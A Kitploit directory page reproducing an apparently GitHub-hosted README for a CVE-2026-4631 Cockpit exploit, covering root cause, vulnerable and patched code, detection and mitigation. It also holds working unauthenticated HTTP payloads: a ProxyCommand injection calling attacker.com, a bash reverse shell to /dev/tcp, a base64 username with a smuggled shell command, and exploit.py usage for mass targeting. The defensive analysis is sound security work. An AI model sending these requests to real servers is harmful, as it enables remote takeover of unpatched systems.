Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-4631-cockpit-RCE — Cockpit: Unauthenticated Remote Code Execution via SSH Command-Line Argument Injection | Kitploit
Tools/GitHubGitHub/cyberheartmi9/cve-2026-4631-cockpit-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed Teaming
GitHubcyberheartmi9/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Cockpit: Unauthenticated Remote Code Execution via SSH Command-Line Argument Injection

View Repository
1464 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-4631 — Code Analysis

Cockpit: Unauthenticated Remote Code Execution via SSH Command-Line Argument Injection

FieldDetail
CVE IDCVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
SeverityCritical (CVSS 9.8)
Affected versionsCockpit 327 – 359
Fixed inCockpit 360
CWECWE-78: OS Command Injection
Auth requiredNO
Reported byJelle van der Waa

Table of Contents

  1. Vulnerability Overview
  2. Architecture Background
  3. Root Cause Analysis
  4. Vulnerable Code — File by File
  5. Attack Vectors
  6. Data Flow Diagram
  7. Patch Analysis
  8. Detection
  9. References

1. Vulnerability Overview

Cockpit's remote login feature passes user-supplied hostnames (from the URL path) and usernames (from the Authorization: Basic header) directly to the OpenSSH ssh binary without any validation or sanitization.

An unauthenticated attacker with network access to port 9090 can craft a single HTTP request that:

  • Injects arbitrary SSH options via the hostname field (-oProxyCommand=<cmd>)
  • Injects shell commands via the username field exploiting SSH's %r token expansion

Both injection points fire before credential verification completes, meaning no valid login is required.


2. Architecture Background

Normal Remote Login Flow

Auth-flow

What Changed in Version 327

Before version 327, Cockpit used a dedicated C binary called cockpit-ssh (based on libssh) for remote connections. Starting in version 327, this was replaced with:

root@kitploit:~
python3 -m cockpit.beiboot

which invokes the system OpenSSH ssh client. This change introduced the vulnerability because the new code path passes user-controlled values directly to ssh without sanitization.


3. Root Cause Analysis

Issue 1 — No -- Separator Before Hostname

The SSH client interprets arguments starting with - as options, not as a hostname, unless a -- separator precedes them. Without --, any hostname beginning with - is parsed as an SSH flag.

Vulnerable construction:

root@kitploit:~
ssh [options] <hostname> <remote-command>

Safe construction:

root@kitploit:~
ssh [options] -- <hostname> <remote-command>

Issue 2 — No Input Validation

Neither cockpit-ws (C code) nor cockpit.beiboot (Python code) validates or sanitizes:

  • The hostname extracted from the URL path
  • The username extracted from the Authorization: Basic header

Issue 3 — Python argparse Bug (CPython #66623)

A known CPython bug causes argparse to mishandle arguments starting with - that also contain spaces, treating them as positionals rather than flags. This allows a -oProxyCommand=evil command hostname to pass through Python argument parsing and reach ssh as an option.


4. Vulnerable Code — File by File

4.1 src/cockpit/beiboot.py — Primary Injection Point

This is the most critical file. The via_ssh() function builds the SSH command argument list.

Vulnerable code (before patch)

root@kitploit:~
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Build an ssh command to run `cmd` on `dest`."""

    # Parse optional port from dest (e.g. "host:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Strip IPv6 brackets
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  VULNERABLE: No '--' before host
        # If host = "-oProxyCommand=evil", ssh treats it as an option
        destination = ['-p', port, host]

    else:
        #  VULNERABLE: Raw attacker input passed directly to ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

What the resulting SSH invocation looks like

With dest = "-oProxyCommand=curl http://attacker.com/id":

root@kitploit:~
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← cockpit option
arg2: -oProxyCommand=curl http://...   ←  PARSED AS SSH OPTION (not host)
arg3: python3 -ic '# cockpit-bridge'   ← becomes the "hostname" → triggers ProxyCommand

Fixed code (version 360)

root@kitploit:~
    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  FIXED: '--' forces everything after it to be positional
        destination = ['-p', port, '--', host]

    else:
        #  FIXED: '--' separator added
        destination = ['--', dest]

4.2 src/ws/cockpitauth.c — C Layer: Hostname Extraction

This C file handles the initial HTTP request parsing and spawns the beiboot process.

Hostname extraction from URL (no validation)

root@kitploit:~
static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // Extracts everything after "cockpit+=" from the URL path
    //  No character validation — dashes, special chars allowed
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

The returned hostname is passed directly as an argument when spawning beiboot:

root@kitploit:~
// cockpit_ws_ssh_program is the spawn command template
//  VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        No trailing '--' means hostname can be parsed
//                        as a flag by Python's argparse (CPython #66623)

Fixed in version 360

root@kitploit:~
//  FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

Username extraction from Authorization header (no validation)

root@kitploit:~
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Decodes Authorization: Basic base64(user:password)
        //  No validation of 'user' — semicolons, special chars allowed
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user' is passed into credentials and eventually to 'ssh -l <user>'
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  unsanitized
                              ...);
}

4.3 vendor/ferny/src/ferny/session.py — Third Injection Point

The bundled ferny library (used for SSH interaction) has the same -- omission in its subprocess call.

Vulnerable code (before patch)

root@kitploit:~
async def connect(self, ...):
    ...
    # SSH_ASKPASS_REQUIRE is not generally available, so use setsid
    process = await asyncio.create_subprocess_exec(
        #  VULNERABLE: hardcoded path + no '--' before destination
        *('/usr/bin/ssh', *args, destination),
        env=env,
        start_new_session=True,
        stdin=asyncio.subprocess.DEVNULL,
        stdout=asyncio.subprocess.DEVNULL,
        stderr=agent,
        preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
    )

Fixed code (version 360)

root@kitploit:~
    process = await asyncio.create_subprocess_exec(
        #  FIXED: PATH lookup instead of hardcoded path + '--' added
        *('ssh', *args, '--', destination),
        env=env,
        ...
    )

4.4 containers/ws/cockpit-auth-ssh-key — Container Deployment Path

This script is the authentication command used in Docker/container-based Cockpit deployments.

root@kitploit:~
#!/usr/bin/env python3

import os, sys

# Extract host from environment
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])

#  VULNERABLE: same root cause — host passed unsanitized to beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)

This is a separate entry point from the main beiboot.py path, meaning container deployments of Cockpit are independently vulnerable even if patched in the main code path.


5. Attack Vectors

Vector 1 — Hostname → ProxyCommand Injection

Precondition: OpenSSH < 9.6 on the Cockpit host (OpenSSH 9.6 introduced early hostname validation that blocks shell metacharacters).

HTTP Request:

root@kitploit:~
GET /cockpit+=-oProxyCommand=<COMMAND>/login HTTP/1.1
Host: <target>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk

Decoded Authorization: invalid:invalid — any value works.

How it works:

  1. cockpit-ws extracts -oProxyCommand=<COMMAND> from the URL path as the "hostname"
  2. beiboot's via_ssh() builds: ssh -oProxyCommand=<COMMAND> python3 -ic '# cockpit-bridge'
  3. SSH parses -oProxyCommand=<COMMAND> as an option (not a host)
  4. SSH uses python3 -ic '# cockpit-bridge' as the hostname
  5. SSH executes <COMMAND> as the ProxyCommand when connecting to that "hostname"
  6. <COMMAND> runs as the cockpit-ws process user

Example — OOB callback:

root@kitploit:~
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1

Decoded ProxyCommand: curl http://attacker.com/id``

Example — Reverse shell:

root@kitploit:~
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1

Decoded ProxyCommand: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1


Vector 2 — Username → %r Token Injection

Precondition: Target's ssh_config contains a Match exec directive using the %r token (remote username).

Example vulnerable ssh_config:

root@kitploit:~
Match exec "/usr/bin/test %r = blocked_user"
    ProxyCommand /bin/false

HTTP Request:

root@kitploit:~
GET /cockpit+=legitimate-host/login HTTP/1.1
Host: <target>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk

Decoded Authorization: x; touch /tmp/pwned; #:invalid

Username extracted: x; touch /tmp/pwned; #

How it works:

  1. SSH expands %r with the username before executing the Match exec command
  2. The shell receives: /usr/bin/test x; touch /tmp/pwned; # = blocked_user
  3. Shell interprets semicolons: runs touch /tmp/pwned, then ignores the rest
  4. SSH later rejects the username format — but the command has already executed

6. Data Flow Diagram

Auth-bypass


7. Patch Analysis

The fix is minimal — adding -- (the POSIX end-of-options separator) before the destination argument in every place SSH is invoked.

Patch 1 — src/cockpit/beiboot.py (commit 9d0695647)

root@kitploit:~
- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]

- destination = [dest]
+ destination = ['--', dest]

Patch 2 — src/ws/cockpitauth.c (commit 9d0695647)

root@kitploit:~
- const gchar *cockpit_ws_ssh_program =
-     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

Patch 3 — vendor/ferny/src/ferny/session.py (commit 44ec511c99)

root@kitploit:~
- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),

Why -- Fixes It

The -- token tells argument parsers (both Python argparse and OpenSSH's option parser) that all subsequent tokens are positional arguments, not options. After --, a value like -oProxyCommand=evil is treated as a literal hostname string, which SSH then rejects as invalid — it never executes anything.


8. Detection

Network-Level Detection

Look for HTTP requests to Cockpit's login endpoint where the path component contains SSH option syntax:

root@kitploit:~
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

Specifically watch for:

  • -oProxyCommand= in the URL path (Vector 1)
  • Semicolons in the Authorization: Basic decoded value (Vector 2)

Log Detection (journald)

root@kitploit:~
# Check for beiboot spawn with suspicious arguments
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"

# Check SSH invocations from cockpit-ws user
journalctl _COMM=ssh | grep -v "^--$"

Version Check

root@kitploit:~
# Check if installed version is vulnerable
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# Vulnerable if version is between 327 and 359 inclusive

rpm -q cockpit-ws
# Same version check applies

9. Attack Vectors

Scan single Target

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username

Username injection

Scan multiple Targets from file

root@kitploit:~
python3 exploit.py --file url.txt --vector username

Username injection

Detect using OOB

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

Username injection

Attack Vector 1 — Username → %r Token Injection

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

Username injection

Mitigation (if patching is not immediate)

Add to /etc/cockpit/cockpit.conf:

root@kitploit:~
[WebService]
LoginTo = false

This disables the remote login feature entirely, preventing the beiboot code path from being triggered.


10. References

ResourceURL
OSS-Security disclosurehttps://www.openwall.com/lists/oss-security/2026/04/10/5
GitHub Security Advisoryhttps://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
Bugzilla issuehttps://bugzilla.redhat.com/show_bug.cgi?id=2450246
Fix commit (cockpit)https://github.com/cockpit-project/cockpit/commit/9d0695647
Fix commit (ferny)https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
CPython argparse bughttps://github.com/python/cpython/issues/66623
OpenSSH 9.6 hostname validationhttps://github.com/openssh/openssh-portable/commit/7ef3787
Download Tool